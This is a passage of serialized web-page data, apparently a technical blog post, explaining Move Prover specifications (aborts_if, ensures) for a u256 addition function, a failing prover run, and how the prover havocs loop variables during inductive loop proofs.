P64\n",{"type":22,"tag":101,"props":13873,"children":13874},{"class":103,"line":1032},[13875],{"type":22,"tag":101,"props":13876,"children":13877},{"style":120},[13878],{"type":27,"value":188},{"type":22,"tag":101,"props":13880,"children":13881},{"class":103,"line":1063},[13882],{"type":22,"tag":101,"props":13883,"children":13884},{"emptyLinePlaceholder":15},[13885],{"type":27,"value":1581},{"type":22,"tag":101,"props":13887,"children":13888},{"class":103,"line":1071},[13889,13893,13897],{"type":22,"tag":101,"props":13890,"children":13891},{"style":126},[13892],{"type":27,"value":12284},{"type":22,"tag":101,"props":13894,"children":13895},{"style":126},[13896],{"type":27,"value":13588},{"type":22,"tag":101,"props":13898,"children":13899},{"style":120},[13900],{"type":27,"value":154},{"type":22,"tag":101,"props":13902,"children":13903},{"class":103,"line":1110},[13904,13909,13913,13917,13921,13925,13929,13933,13937,13941,13945,13950,13954,13958,13962,13966,13970,13974,13978],{"type":22,"tag":101,"props":13905,"children":13906},{"style":126},[13907],{"type":27,"value":13908}," aborts_if",{"type":22,"tag":101,"props":13910,"children":13911},{"style":926},[13912],{"type":27,"value":13709},{"type":22,"tag":101,"props":13914,"children":13915},{"style":120},[13916],{"type":27,"value":980},{"type":22,"tag":101,"props":13918,"children":13919},{"style":126},[13920],{"type":27,"value":80},{"type":22,"tag":101,"props":13922,"children":13923},{"style":120},[13924],{"type":27,"value":901},{"type":22,"tag":101,"props":13926,"children":13927},{"style":166},[13928],{"type":27,"value":8426},{"type":22,"tag":101,"props":13930,"children":13931},{"style":926},[13932],{"type":27,"value":13709},{"type":22,"tag":101,"props":13934,"children":13935},{"style":120},[13936],{"type":27,"value":980},{"type":22,"tag":101,"props":13938,"children":13939},{"style":126},[13940],{"type":27,"value":7262},{"type":22,"tag":101,"props":13942,"children":13943},{"style":120},[13944],{"type":27,"value":901},{"type":22,"tag":101,"props":13946,"children":13947},{"style":166},[13948],{"type":27,"value":13949},">=",{"type":22,"tag":101,"props":13951,"children":13952},{"style":114},[13953],{"type":27,"value":13665},{"type":22,"tag":101,"props":13955,"children":13956},{"style":166},[13957],{"type":27,"value":13822},{"type":22,"tag":101,"props":13959,"children":13960},{"style":114},[13961],{"type":27,"value":13665},{"type":22,"tag":101,"props":13963,"children":13964},{"style":166},[13965],{"type":27,"value":13822},{"type":22,"tag":101,"props":13967,"children":13968},{"style":114},[13969],{"type":27,"value":13665},{"type":22,"tag":101,"props":13971,"children":13972},{"style":166},[13973],{"type":27,"value":13822},{"type":22,"tag":101,"props":13975,"children":13976},{"style":114},[13977],{"type":27,"value":13665},{"type":22,"tag":101,"props":13979,"children":13980},{"style":120},[13981],{"type":27,"value":1520},{"type":22,"tag":101,"props":13983,"children":13984},{"class":103,"line":1118},[13985],{"type":22,"tag":101,"props":13986,"children":13987},{"style":120},[13988],{"type":27,"value":188},{"type":22,"tag":23,"props":13990,"children":13991},{},[13992,13994,14001],{"type":27,"value":13993},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":22,"tag":80,"props":13995,"children":13998},{"href":13996,"rel":13997},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[84],[13999],{"type":27,"value":14000},"MSL function",{"type":27,"value":14002},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":22,"tag":23,"props":14004,"children":14005},{},[14006,14008,14013,14014,14019],{"type":27,"value":14007},"A common pattern for ",{"type":22,"tag":30,"props":14009,"children":14011},{"className":14010},[],[14012],{"type":27,"value":12334},{"type":27,"value":78},{"type":22,"tag":30,"props":14015,"children":14017},{"className":14016},[],[14018],{"type":27,"value":12342},{"type":27,"value":14020},", which lets you prove that a function will never abort.",{"type":22,"tag":91,"props":14022,"children":14024},{"code":14023,"language":95,"meta":7,"className":93,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[14025],{"type":22,"tag":30,"props":14026,"children":14027},{"__ignoreMap":7},[14028,14044,14059],{"type":22,"tag":101,"props":14029,"children":14030},{"class":103,"line":104},[14031,14035,14040],{"type":22,"tag":101,"props":14032,"children":14033},{"style":126},[14034],{"type":27,"value":12284},{"type":22,"tag":101,"props":14036,"children":14037},{"style":126},[14038],{"type":27,"value":14039}," critical_function",{"type":22,"tag":101,"props":14041,"children":14042},{"style":120},[14043],{"type":27,"value":154},{"type":22,"tag":101,"props":14045,"children":14046},{"class":103,"line":157},[14047,14051,14055],{"type":22,"tag":101,"props":14048,"children":14049},{"style":126},[14050],{"type":27,"value":13908},{"type":22,"tag":101,"props":14052,"children":14053},{"style":108},[14054],{"type":27,"value":13065},{"type":22,"tag":101,"props":14056,"children":14057},{"style":120},[14058],{"type":27,"value":1520},{"type":22,"tag":101,"props":14060,"children":14061},{"class":103,"line":182},[14062],{"type":22,"tag":101,"props":14063,"children":14064},{"style":120},[14065],{"type":27,"value":188},{"type":22,"tag":23,"props":14067,"children":14068},{},[14069,14071,14077],{"type":27,"value":14070},"Another type of expression that we can use is ",{"type":22,"tag":30,"props":14072,"children":14074},{"className":14073},[],[14075],{"type":27,"value":14076},"ensures",{"type":27,"value":14078},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":22,"tag":23,"props":14080,"children":14081},{},[14082,14084,14089,14091,14096],{"type":27,"value":14083},"In the case of the ",{"type":22,"tag":30,"props":14085,"children":14087},{"className":14086},[],[14088],{"type":27,"value":13643},{"type":27,"value":14090}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":22,"tag":9370,"props":14092,"children":14093},{},[14094],{"type":27,"value":14095},"MSL uses unbounded numbers",{"type":27,"value":14097},", we're able to very cleanly express this property without worrying about overflows.",{"type":22,"tag":91,"props":14099,"children":14101},{"code":14100,"language":95,"meta":7,"className":93,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[14102],{"type":22,"tag":30,"props":14103,"children":14104},{"__ignoreMap":7},[14105,14120,14199,14263],{"type":22,"tag":101,"props":14106,"children":14107},{"class":103,"line":104},[14108,14112,14116],{"type":22,"tag":101,"props":14109,"children":14110},{"style":126},[14111],{"type":27,"value":12284},{"type":22,"tag":101,"props":14113,"children":14114},{"style":126},[14115],{"type":27,"value":13588},{"type":22,"tag":101,"props":14117,"children":14118},{"style":120},[14119],{"type":27,"value":154},{"type":22,"tag":101,"props":14121,"children":14122},{"class":103,"line":157},[14123,14127,14131,14135,14139,14143,14147,14151,14155,14159,14163,14167,14171,14175,14179,14183,14187,14191,14195],{"type":22,"tag":101,"props":14124,"children":14125},{"style":126},[14126],{"type":27,"value":13908},{"type":22,"tag":101,"props":14128,"children":14129},{"style":926},[14130],{"type":27,"value":13709},{"type":22,"tag":101,"props":14132,"children":14133},{"style":120},[14134],{"type":27,"value":980},{"type":22,"tag":101,"props":14136,"children":14137},{"style":126},[14138],{"type":27,"value":80},{"type":22,"tag":101,"props":14140,"children":14141},{"style":120},[14142],{"type":27,"value":901},{"type":22,"tag":101,"props":14144,"children":14145},{"style":166},[14146],{"type":27,"value":8426},{"type":22,"tag":101,"props":14148,"children":14149},{"style":926},[14150],{"type":27,"value":13709},{"type":22,"tag":101,"props":14152,"children":14153},{"style":120},[14154],{"type":27,"value":980},{"type":22,"tag":101,"props":14156,"children":14157},{"style":126},[14158],{"type":27,"value":7262},{"type":22,"tag":101,"props":14160,"children":14161},{"style":120},[14162],{"type":27,"value":901},{"type":22,"tag":101,"props":14164,"children":14165},{"style":166},[14166],{"type":27,"value":13949},{"type":22,"tag":101,"props":14168,"children":14169},{"style":114},[14170],{"type":27,"value":13665},{"type":22,"tag":101,"props":14172,"children":14173},{"style":166},[14174],{"type":27,"value":13822},{"type":22,"tag":101,"props":14176,"children":14177},{"style":114},[14178],{"type":27,"value":13665},{"type":22,"tag":101,"props":14180,"children":14181},{"style":166},[14182],{"type":27,"value":13822},{"type":22,"tag":101,"props":14184,"children":14185},{"style":114},[14186],{"type":27,"value":13665},{"type":22,"tag":101,"props":14188,"children":14189},{"style":166},[14190],{"type":27,"value":13822},{"type":22,"tag":101,"props":14192,"children":14193},{"style":114},[14194],{"type":27,"value":13665},{"type":22,"tag":101,"props":14196,"children":14197},{"style":120},[14198],{"type":27,"value":1520},{"type":22,"tag":101,"props":14200,"children":14201},{"class":103,"line":182},[14202,14207,14211,14215,14219,14223,14227,14231,14235,14239,14243,14247,14251,14255,14259],{"type":22,"tag":101,"props":14203,"children":14204},{"style":126},[14205],{"type":27,"value":14206}," ensures",{"type":22,"tag":101,"props":14208,"children":14209},{"style":926},[14210],{"type":27,"value":13709},{"type":22,"tag":101,"props":14212,"children":14213},{"style":120},[14214],{"type":27,"value":980},{"type":22,"tag":101,"props":14216,"children":14217},{"style":126},[14218],{"type":27,"value":13090},{"type":22,"tag":101,"props":14220,"children":14221},{"style":120},[14222],{"type":27,"value":901},{"type":22,"tag":101,"props":14224,"children":14225},{"style":166},[14226],{"type":27,"value":4340},{"type":22,"tag":101,"props":14228,"children":14229},{"style":926},[14230],{"type":27,"value":13709},{"type":22,"tag":101,"props":14232,"children":14233},{"style":120},[14234],{"type":27,"value":980},{"type":22,"tag":101,"props":14236,"children":14237},{"style":126},[14238],{"type":27,"value":80},{"type":22,"tag":101,"props":14240,"children":14241},{"style":120},[14242],{"type":27,"value":901},{"type":22,"tag":101,"props":14244,"children":14245},{"style":166},[14246],{"type":27,"value":8426},{"type":22,"tag":101,"props":14248,"children":14249},{"style":926},[14250],{"type":27,"value":13709},{"type":22,"tag":101,"props":14252,"children":14253},{"style":120},[14254],{"type":27,"value":980},{"type":22,"tag":101,"props":14256,"children":14257},{"style":126},[14258],{"type":27,"value":7262},{"type":22,"tag":101,"props":14260,"children":14261},{"style":120},[14262],{"type":27,"value":994},{"type":22,"tag":101,"props":14264,"children":14265},{"class":103,"line":367},[14266],{"type":22,"tag":101,"props":14267,"children":14268},{"style":120},[14269],{"type":27,"value":188},{"type":22,"tag":23,"props":14271,"children":14272},{},[14273],{"type":27,"value":14274},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":22,"tag":23,"props":14276,"children":14277},{},[14278],{"type":27,"value":14279},"Let's try to prove the library with the specifications from above:",{"type":22,"tag":91,"props":14281,"children":14283},{"code":14282,"language":8287,"meta":7,"className":8288,"style":7},"$ move prove\n",[14284],{"type":22,"tag":30,"props":14285,"children":14286},{"__ignoreMap":7},[14287],{"type":22,"tag":101,"props":14288,"children":14289},{"class":103,"line":104},[14290,14295,14300],{"type":22,"tag":101,"props":14291,"children":14292},{"style":926},[14293],{"type":27,"value":14294},"$",{"type":22,"tag":101,"props":14296,"children":14297},{"style":6476},[14298],{"type":27,"value":14299}," move",{"type":22,"tag":101,"props":14301,"children":14302},{"style":6476},[14303],{"type":27,"value":14304}," prove\n",{"type":22,"tag":23,"props":14306,"children":14307},{},[14308],{"type":27,"value":14309},"It outputs the following error information:",{"type":22,"tag":91,"props":14311,"children":14313},{"code":14312,"language":8287,"meta":7,"className":8288,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[14314],{"type":22,"tag":30,"props":14315,"children":14316},{"__ignoreMap":7},[14317,14325,14332,14394,14415,14504,14572,14584,14592,14599,14606,14613,14631,14692,14709,14726,14798,14814,14822,14829,14879,14887,14904],{"type":22,"tag":101,"props":14318,"children":14319},{"class":103,"line":104},[14320],{"type":22,"tag":101,"props":14321,"children":14322},{"style":120},[14323],{"type":27,"value":14324},"[...]\n",{"type":22,"tag":101,"props":14326,"children":14327},{"class":103,"line":157},[14328],{"type":22,"tag":101,"props":14329,"children":14330},{"emptyLinePlaceholder":15},[14331],{"type":27,"value":1581},{"type":22,"tag":101,"props":14333,"children":14334},{"class":103,"line":182},[14335,14340,14345,14350,14355,14360,14365,14370,14375,14380,14384,14389],{"type":22,"tag":101,"props":14336,"children":14337},{"style":926},[14338],{"type":27,"value":14339},"error:",{"type":22,"tag":101,"props":14341,"children":14342},{"style":6476},[14343],{"type":27,"value":14344}," abort",{"type":22,"tag":101,"props":14346,"children":14347},{"style":6476},[14348],{"type":27,"value":14349}," not",{"type":22,"tag":101,"props":14351,"children":14352},{"style":6476},[14353],{"type":27,"value":14354}," covered",{"type":22,"tag":101,"props":14356,"children":14357},{"style":6476},[14358],{"type":27,"value":14359}," by",{"type":22,"tag":101,"props":14361,"children":14362},{"style":6476},[14363],{"type":27,"value":14364}," any",{"type":22,"tag":101,"props":14366,"children":14367},{"style":6476},[14368],{"type":27,"value":14369}," of",{"type":22,"tag":101,"props":14371,"children":14372},{"style":6476},[14373],{"type":27,"value":14374}," the",{"type":22,"tag":101,"props":14376,"children":14377},{"style":6476},[14378],{"type":27,"value":14379}," `",{"type":22,"tag":101,"props":14381,"children":14382},{"style":926},[14383],{"type":27,"value":12334},{"type":22,"tag":101,"props":14385,"children":14386},{"style":6476},[14387],{"type":27,"value":14388},"`",{"type":22,"tag":101,"props":14390,"children":14391},{"style":926},[14392],{"type":27,"value":14393}," clauses\n",{"type":22,"tag":101,"props":14395,"children":14396},{"class":103,"line":367},[14397,14402,14407,14411],{"type":22,"tag":101,"props":14398,"children":14399},{"style":926},[14400],{"type":27,"value":14401},"╭",{"type":22,"tag":101,"props":14403,"children":14404},{"style":6476},[14405],{"type":27,"value":14406}," spec",{"type":22,"tag":101,"props":14408,"children":14409},{"style":6476},[14410],{"type":27,"value":13588},{"type":22,"tag":101,"props":14412,"children":14413},{"style":6476},[14414],{"type":27,"value":154},{"type":22,"tag":101,"props":14416,"children":14417},{"class":103,"line":398},[14418,14422,14427,14431,14435,14439,14443,14447,14451,14455,14459,14463,14468,14472,14476,14480,14484,14488,14492,14496,14500],{"type":22,"tag":101,"props":14419,"children":14420},{"style":166},[14421],{"type":27,"value":6377},{"type":22,"tag":101,"props":14423,"children":14424},{"style":926},[14425],{"type":27,"value":14426}," aborts_if",{"type":22,"tag":101,"props":14428,"children":14429},{"style":6476},[14430],{"type":27,"value":13709},{"type":22,"tag":101,"props":14432,"children":14433},{"style":120},[14434],{"type":27,"value":980},{"type":22,"tag":101,"props":14436,"children":14437},{"style":926},[14438],{"type":27,"value":80},{"type":22,"tag":101,"props":14440,"children":14441},{"style":120},[14442],{"type":27,"value":901},{"type":22,"tag":101,"props":14444,"children":14445},{"style":6476},[14446],{"type":27,"value":8426},{"type":22,"tag":101,"props":14448,"children":14449},{"style":6476},[14450],{"type":27,"value":13709},{"type":22,"tag":101,"props":14452,"children":14453},{"style":120},[14454],{"type":27,"value":980},{"type":22,"tag":101,"props":14456,"children":14457},{"style":926},[14458],{"type":27,"value":7262},{"type":22,"tag":101,"props":14460,"children":14461},{"style":120},[14462],{"type":27,"value":901},{"type":22,"tag":101,"props":14464,"children":14465},{"style":166},[14466],{"type":27,"value":14467},">",{"type":22,"tag":101,"props":14469,"children":14470},{"style":6476},[14471],{"type":27,"value":1511},{"type":22,"tag":101,"props":14473,"children":14474},{"style":6476},[14475],{"type":27,"value":13665},{"type":22,"tag":101,"props":14477,"children":14478},{"style":108},[14479],{"type":27,"value":13822},{"type":22,"tag":101,"props":14481,"children":14482},{"style":6476},[14483],{"type":27,"value":13665},{"type":22,"tag":101,"props":14485,"children":14486},{"style":108},[14487],{"type":27,"value":13822},{"type":22,"tag":101,"props":14489,"children":14490},{"style":6476},[14491],{"type":27,"value":13665},{"type":22,"tag":101,"props":14493,"children":14494},{"style":108},[14495],{"type":27,"value":13822},{"type":22,"tag":101,"props":14497,"children":14498},{"style":6476},[14499],{"type":27,"value":13665},{"type":22,"tag":101,"props":14501,"children":14502},{"style":120},[14503],{"type":27,"value":1520},{"type":22,"tag":101,"props":14505,"children":14506},{"class":103,"line":428},[14507,14511,14516,14520,14524,14528,14532,14536,14540,14544,14548,14552,14556,14560,14564,14568],{"type":22,"tag":101,"props":14508,"children":14509},{"style":166},[14510],{"type":27,"value":6377},{"type":22,"tag":101,"props":14512,"children":14513},{"style":926},[14514],{"type":27,"value":14515}," ensures",{"type":22,"tag":101,"props":14517,"children":14518},{"style":6476},[14519],{"type":27,"value":13709},{"type":22,"tag":101,"props":14521,"children":14522},{"style":120},[14523],{"type":27,"value":980},{"type":22,"tag":101,"props":14525,"children":14526},{"style":926},[14527],{"type":27,"value":13090},{"type":22,"tag":101,"props":14529,"children":14530},{"style":120},[14531],{"type":27,"value":901},{"type":22,"tag":101,"props":14533,"children":14534},{"style":6476},[14535],{"type":27,"value":4340},{"type":22,"tag":101,"props":14537,"children":14538},{"style":6476},[14539],{"type":27,"value":13709},{"type":22,"tag":101,"props":14541,"children":14542},{"style":120},[14543],{"type":27,"value":980},{"type":22,"tag":101,"props":14545,"children":14546},{"style":926},[14547],{"type":27,"value":80},{"type":22,"tag":101,"props":14549,"children":14550},{"style":120},[14551],{"type":27,"value":901},{"type":22,"tag":101,"props":14553,"children":14554},{"style":6476},[14555],{"type":27,"value":8426},{"type":22,"tag":101,"props":14557,"children":14558},{"style":6476},[14559],{"type":27,"value":13709},{"type":22,"tag":101,"props":14561,"children":14562},{"style":120},[14563],{"type":27,"value":980},{"type":22,"tag":101,"props":14565,"children":14566},{"style":926},[14567],{"type":27,"value":7262},{"type":22,"tag":101,"props":14569,"children":14570},{"style":120},[14571],{"type":27,"value":994},{"type":22,"tag":101,"props":14573,"children":14574},{"class":103,"line":997},[14575,14579],{"type":22,"tag":101,"props":14576,"children":14577},{"style":166},[14578],{"type":27,"value":6377},{"type":22,"tag":101,"props":14580,"children":14581},{"style":120},[14582],{"type":27,"value":14583}," }\n",{"type":22,"tag":101,"props":14585,"children":14586},{"class":103,"line":1032},[14587],{"type":22,"tag":101,"props":14588,"children":14589},{"style":926},[14590],{"type":27,"value":14591},"╰─────^\n",{"type":22,"tag":101,"props":14593,"children":14594},{"class":103,"line":1063},[14595],{"type":22,"tag":101,"props":14596,"children":14597},{"emptyLinePlaceholder":15},[14598],{"type":27,"value":1581},{"type":22,"tag":101,"props":14600,"children":14601},{"class":103,"line":1071},[14602],{"type":22,"tag":101,"props":14603,"children":14604},{"style":120},[14605],{"type":27,"value":14324},{"type":22,"tag":101,"props":14607,"children":14608},{"class":103,"line":1110},[14609],{"type":22,"tag":101,"props":14610,"children":14611},{"emptyLinePlaceholder":15},[14612],{"type":27,"value":1581},{"type":22,"tag":101,"props":14614,"children":14615},{"class":103,"line":1118},[14616,14621,14626],{"type":22,"tag":101,"props":14617,"children":14618},{"style":926},[14619],{"type":27,"value":14620}," at",{"type":22,"tag":101,"props":14622,"children":14623},{"style":6476},[14624],{"type":27,"value":14625}," ./sources/u256.move:316:",{"type":22,"tag":101,"props":14627,"children":14628},{"style":6476},[14629],{"type":27,"value":14630}," add\n",{"type":22,"tag":101,"props":14632,"children":14633},{"class":103,"line":1158},[14634,14639,14644,14649,14653,14658,14662,14667,14672,14677,14682,14687],{"type":22,"tag":101,"props":14635,"children":14636},{"style":926},[14637],{"type":27,"value":14638}," enter",{"type":22,"tag":101,"props":14640,"children":14641},{"style":6476},[14642],{"type":27,"value":14643}," loop,",{"type":22,"tag":101,"props":14645,"children":14646},{"style":6476},[14647],{"type":27,"value":14648}," variable",{"type":22,"tag":101,"props":14650,"children":14651},{"style":120},[14652],{"type":27,"value":980},{"type":22,"tag":101,"props":14654,"children":14655},{"style":926},[14656],{"type":27,"value":14657},"s",{"type":22,"tag":101,"props":14659,"children":14660},{"style":120},[14661],{"type":27,"value":901},{"type":22,"tag":101,"props":14663,"children":14664},{"style":6476},[14665],{"type":27,"value":14666},"carry,",{"type":22,"tag":101,"props":14668,"children":14669},{"style":6476},[14670],{"type":27,"value":14671}," i,",{"type":22,"tag":101,"props":14673,"children":14674},{"style":6476},[14675],{"type":27,"value":14676}," ret",{"type":22,"tag":101,"props":14678,"children":14679},{"style":6476},[14680],{"type":27,"value":14681}," havocked",{"type":22,"tag":101,"props":14683,"children":14684},{"style":6476},[14685],{"type":27,"value":14686}," and",{"type":22,"tag":101,"props":14688,"children":14689},{"style":6476},[14690],{"type":27,"value":14691}," reassigned\n",{"type":22,"tag":101,"props":14693,"children":14694},{"class":103,"line":1166},[14695,14700,14704],{"type":22,"tag":101,"props":14696,"children":14697},{"style":926},[14698],{"type":27,"value":14699}," carry",{"type":22,"tag":101,"props":14701,"children":14702},{"style":6476},[14703],{"type":27,"value":960},{"type":22,"tag":101,"props":14705,"children":14706},{"style":1544},[14707],{"type":27,"value":14708}," 54\n",{"type":22,"tag":101,"props":14710,"children":14711},{"class":103,"line":1215},[14712,14717,14721],{"type":22,"tag":101,"props":14713,"children":14714},{"style":926},[14715],{"type":27,"value":14716}," i",{"type":22,"tag":101,"props":14718,"children":14719},{"style":6476},[14720],{"type":27,"value":960},{"type":22,"tag":101,"props":14722,"children":14723},{"style":1544},[14724],{"type":27,"value":14725}," 3792\n",{"type":22,"tag":101,"props":14727,"children":14728},{"class":103,"line":2425},[14729,14734,14738,14743,14747,14752,14757,14761,14766,14771,14775,14780,14785,14789,14794],{"type":22,"tag":101,"props":14730,"children":14731},{"style":926},[14732],{"type":27,"value":14733}," ret",{"type":22,"tag":101,"props":14735,"children":14736},{"style":6476},[14737],{"type":27,"value":960},{"type":22,"tag":101,"props":14739,"children":14740},{"style":6476},[14741],{"type":27,"value":14742}," u256.U256{v0",{"type":22,"tag":101,"props":14744,"children":14745},{"style":6476},[14746],{"type":27,"value":960},{"type":22,"tag":101,"props":14748,"children":14749},{"style":6476},[14750],{"type":27,"value":14751}," 26418,",{"type":22,"tag":101,"props":14753,"children":14754},{"style":6476},[14755],{"type":27,"value":14756}," v1",{"type":22,"tag":101,"props":14758,"children":14759},{"style":6476},[14760],{"type":27,"value":960},{"type":22,"tag":101,"props":14762,"children":14763},{"style":6476},[14764],{"type":27,"value":14765}," 27938,",{"type":22,"tag":101,"props":14767,"children":14768},{"style":6476},[14769],{"type":27,"value":14770}," v2",{"type":22,"tag":101,"props":14772,"children":14773},{"style":6476},[14774],{"type":27,"value":960},{"type":22,"tag":101,"props":14776,"children":14777},{"style":6476},[14778],{"type":27,"value":14779}," 6900,",{"type":22,"tag":101,"props":14781,"children":14782},{"style":6476},[14783],{"type":27,"value":14784}," v3",{"type":22,"tag":101,"props":14786,"children":14787},{"style":6476},[14788],{"type":27,"value":960},{"type":22,"tag":101,"props":14790,"children":14791},{"style":1544},[14792],{"type":27,"value":14793}," 1999",{"type":22,"tag":101,"props":14795,"children":14796},{"style":6476},[14797],{"type":27,"value":188},{"type":22,"tag":101,"props":14799,"children":14800},{"class":103,"line":5417},[14801,14805,14810],{"type":22,"tag":101,"props":14802,"children":14803},{"style":926},[14804],{"type":27,"value":14620},{"type":22,"tag":101,"props":14806,"children":14807},{"style":6476},[14808],{"type":27,"value":14809}," ./sources/u256.move:346:",{"type":22,"tag":101,"props":14811,"children":14812},{"style":6476},[14813],{"type":27,"value":14630},{"type":22,"tag":101,"props":14815,"children":14816},{"class":103,"line":7714},[14817],{"type":22,"tag":101,"props":14818,"children":14819},{"style":926},[14820],{"type":27,"value":14821}," ABORTED\n",{"type":22,"tag":101,"props":14823,"children":14824},{"class":103,"line":7723},[14825],{"type":22,"tag":101,"props":14826,"children":14827},{"emptyLinePlaceholder":15},[14828],{"type":27,"value":1581},{"type":22,"tag":101,"props":14830,"children":14831},{"class":103,"line":7791},[14832,14837,14842,14846,14851,14856,14861,14865,14870,14874],{"type":22,"tag":101,"props":14833,"children":14834},{"style":926},[14835],{"type":27,"value":14836},"FAILURE",{"type":22,"tag":101,"props":14838,"children":14839},{"style":6476},[14840],{"type":27,"value":14841}," proving",{"type":22,"tag":101,"props":14843,"children":14844},{"style":1544},[14845],{"type":27,"value":3648},{"type":22,"tag":101,"props":14847,"children":14848},{"style":6476},[14849],{"type":27,"value":14850}," modules",{"type":22,"tag":101,"props":14852,"children":14853},{"style":6476},[14854],{"type":27,"value":14855}," from",{"type":22,"tag":101,"props":14857,"children":14858},{"style":6476},[14859],{"type":27,"value":14860}," package",{"type":22,"tag":101,"props":14862,"children":14863},{"style":6476},[14864],{"type":27,"value":14379},{"type":22,"tag":101,"props":14866,"children":14867},{"style":926},[14868],{"type":27,"value":14869},"u256",{"type":22,"tag":101,"props":14871,"children":14872},{"style":6476},[14873],{"type":27,"value":14388},{"type":22,"tag":101,"props":14875,"children":14876},{"style":120},[14877],{"type":27,"value":14878}," in 9.143s\n",{"type":22,"tag":101,"props":14880,"children":14881},{"class":103,"line":7799},[14882],{"type":22,"tag":101,"props":14883,"children":14884},{"style":120},[14885],{"type":27,"value":14886},"{\n",{"type":22,"tag":101,"props":14888,"children":14889},{"class":103,"line":7829},[14890,14895,14899],{"type":22,"tag":101,"props":14891,"children":14892},{"style":926},[14893],{"type":27,"value":14894}," \"Error\"",{"type":22,"tag":101,"props":14896,"children":14897},{"style":926},[14898],{"type":27,"value":169},{"type":22,"tag":101,"props":14900,"children":14901},{"style":6476},[14902],{"type":27,"value":14903}," \"Move Prover failed: exiting with verification errors\"\n",{"type":22,"tag":101,"props":14905,"children":14906},{"class":103,"line":7837},[14907],{"type":22,"tag":101,"props":14908,"children":14909},{"style":120},[14910],{"type":27,"value":188},{"type":22,"tag":23,"props":14912,"children":14913},{},[14914,14916,14921],{"type":27,"value":14915},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":22,"tag":30,"props":14917,"children":14919},{"className":14918},[],[14920],{"type":27,"value":12334},{"type":27,"value":14922}," clauses. But there is no other abort situation that we have to cover, right?",{"type":22,"tag":23,"props":14924,"children":14925},{},[14926,14928,14934],{"type":27,"value":14927},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":22,"tag":30,"props":14929,"children":14931},{"className":14930},[],[14932],{"type":27,"value":14933},"ret havocked and reassigned",{"type":27,"value":231},{"type":22,"tag":23,"props":14936,"children":14937},{},[14938],{"type":27,"value":14939},"What does this mean?",{"type":22,"tag":23,"props":14941,"children":14942},{},[14943,14945,14952],{"type":27,"value":14944},"By diving into the Move Prover source, we find a ",{"type":22,"tag":80,"props":14946,"children":14949},{"href":14947,"rel":14948},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[84],[14950],{"type":27,"value":14951},"likely suspect",{"type":27,"value":14953},". The prover attempts to prove all loops with induction!",{"type":22,"tag":23,"props":14955,"children":14956},{},[14957],{"type":27,"value":14958},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":22,"tag":6828,"props":14960,"children":14961},{},[14962,14967],{"type":22,"tag":6832,"props":14963,"children":14964},{},[14965],{"type":27,"value":14966},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":22,"tag":6832,"props":14968,"children":14969},{},[14970],{"type":27,"value":14971},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":22,"tag":23,"props":14973,"children":14974},{},[14975,14977,14982,14984,14990,14991,14997,14998,15003,15005,15010],{"type":27,"value":14976},"The loop prover will also ",{"type":22,"tag":9370,"props":14978,"children":14979},{},[14980],{"type":27,"value":14981},"havoc, or assign random values to, all variables written to inside the loop",{"type":27,"value":14983},". Going back to the log message, this implies that the variables ",{"type":22,"tag":30,"props":14985,"children":14987},{"className":14986},[],[14988],{"type":27,"value":14989},"carry",{"type":27,"value":758},{"type":22,"tag":30,"props":14992,"children":14994},{"className":14993},[],[14995],{"type":27,"value":14996},"ret",{"type":27,"value":209},{"type":22,"tag":30,"props":14999,"children":15001},{"className":15000},[],[15002],{"type":27,"value":7774},{"type":27,"value":15004}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":22,"tag":30,"props":15006,"children":15008},{"className":15007},[],[15009],{"type":27,"value":13643},{"type":27,"value":15011}," makes no sense.",{"type":22,"tag":23,"props":15013,"children":15014},{},[15015],{"type":27,"value":15016},"More concretely, the loop analysis translates into the following steps.",{"type":22,"tag":6828,"props":15018,"children":15019},{},[15020,15025,15030,15035,15040,15045],{"type":22,"tag":6832,"props":15021,"children":15022},{},[15023],{"type":27,"value":15024},"Assert the loop invariant",{"type":22,"tag":6832,"props":15026,"children":15027},{},[15028],{"type":27,"value":15029},"Havoc all modified variables",{"type":22,"tag":6832,"props":15031,"children":15032},{},[15033],{"type":27,"value":15034},"Assume the loop invariant",{"type":22,"tag":6832,"props":15036,"children":15037},{},[15038],{"type":27,"value":15039},"Assume the loop guard (the code inside the while condition)",{"type":22,"tag":6832,"props":15041,"children":15042},{},[15043],{"type":27,"value":15044},"Run the loop body",{"type":22,"tag":6832,"props":15046,"children":15047},{},[15048],{"type":27,"value":15024},{"type":22,"tag":23,"props":15050,"children":15051},{},[15052],{"type":27,"value":15053},"There are two approaches to dealing with loops.",{"type":22,"tag":23,"props":15055,"children":15056},{},[15057],{"type":27,"value":15058},"The first would be to specify a loop invariant.",{"type":22,"tag":23,"props":15060,"children":15061},{},[15062,15064,15071],{"type":27,"value":15063},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our 